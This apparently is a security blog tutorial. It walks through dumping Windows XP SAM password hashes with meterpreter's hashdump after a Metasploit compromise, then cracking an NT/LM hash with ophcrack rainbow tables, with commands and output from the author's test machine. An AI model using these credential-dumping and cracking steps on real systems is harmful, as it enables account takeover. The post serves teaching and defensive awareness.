METASPLOIT AND OWNING WINDOWS - SAM AND OPHCRACK

Metasploit is a must have in anyone's toolkit (go get it now - here), and among it laundry list of functionality I want to start touching on using it to get windows password hashes and cracking them. Now for the purposes of this you will also need *ophcrack* (get here and do not forget the tables). *Ophcrack* is a rainbow tables password cracker, which in simple terms means it has precomputed password hashes and stores them in an easily searchable format. It is generally only useful for non-salted hashes but on those it does work on, it is very, very fast.

Now one of the payloads you can use in *metasploit* is the *meterpreter* shell. This is just an awesome piece of work, too much for here, but truly awesome. One of the many functions it has is to allow you to dump the local exploited windows XP machine SAM password hashes. You do this by typing "*hashdump*", there are two other hashdump options under the run functions if you want to play. So it looks someting like this:

```
meterpreter > hashdump
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
bobby:1004:d5fe21d304a98621a361a6c342c88aea:f6f385f51564ede6f6a511566226bb3c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:8f0a7d45747f73566d5d9317db1bde5e:b0a63571f893c22d3dafdfcb472f4d3b:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c9c30a2e99cdd9cdee684645d89e8512:::
user:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

Now from my test machine I am focusing on the user bobby. So lets go ahead and place that line..

```
bobby:1004:d5fe21d304a98621a361a6c342c88aea:f6f385f51564ede6f6a511566226bb3c:::
```

..into a file. Once you have that you pretty much point *ophcrack* at that file:

```
#ophcrack -g -d ./download/tables/ -t ./download/tables/ -f /admin/test-pwd.txt
```

```
-g = disable gui
-d = the directory with the rainbow tables
-t = the tables to use
-f = the file with the hashes
```

Now I am only using the rainbow tables containing all alphanumeric options, the largest table for use is the one with alphanumeric and special characters. Anyway, if you run the above command you see something like this:

```
#ophcrack -g -d ./download/tables/ -t ./download/tables/ -f /admin/test-pwd.txt
3 hashes have been found in /admin/test-pwd.txt.
Opened 4 table(s) from ./download/tables/.
0h  0m  1s; Found password ESS for 2nd LM hash #0
0h  0m 30s; Found password N3V3RGU for 1st LM hash #0in table XP free fast #1 at column
4686.
0h  0m 30s; Found password n3v3rguess for user bobby (NT hash #0)
0h  0m 30s; search (100%); tables: total 4, done 0, using 4; pwd found 1/1.

Results:

username / hash                 LM password    NT password
bobby                           N3V3RGUESS     n3v3rguess
```

So we can see that in roughly 30 seconds we cracked a 10 character alphanumeric password hashes, LM and NT. As I said, very fast.

Final Words

Metaploit by itself is a powerful tool, but combined with other tools the combined threat becomes great indeed. Think about the accounts on all your windows desktops, is there password reuse? is there account reuse? because now just giving someone a desktop to do work, will allow them to start doing this. Play around, have fun and learn.